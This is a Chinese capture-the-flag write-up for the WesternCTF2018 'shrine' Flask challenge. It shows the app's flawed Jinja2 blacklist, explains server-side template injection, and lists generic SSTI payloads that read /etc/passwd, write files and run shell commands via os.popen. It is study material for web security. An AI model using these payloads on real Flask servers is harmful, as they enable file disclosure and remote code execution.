flask之ssti [WesternCTF2018]shrine1

打开题目

 整理一下,代码:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')

def index():
    return open(__file__).read()
           @app.route('/shrine/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

    

知识点:

1.ssti的漏洞实质

  实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题

2.flask的一些特性

flask有两种渲染方式,render_template() 和 render_template_string()。

render_template()是渲染文件的,render_template_string是渲染字符串的

使用{ { }}作为变量包裹标识符;

快速查找该引用对应的位置:

''.__class__.__mro__[2].__subclasses__().index(file)

文件读写:

''.__class__.__mro__[2].__subclasses__()[40]

//读取文件

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()

''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

将read()改为write()就可以进行写操作:

''.__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")

 

命令执行

1.利用eval进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

2.利用commands实现命令执行

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

直接将这些payload放入{ {}}中作为变量执行即可获得想要的结果

知识点参考文章:

关于flask的SSTI注入[通俗易懂]-腾讯云开发者社区-腾讯云

flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-****博客

上一篇:linux下永久添加静态路由-不同


下一篇:打卡学习kubernetes——了解五种控制器类型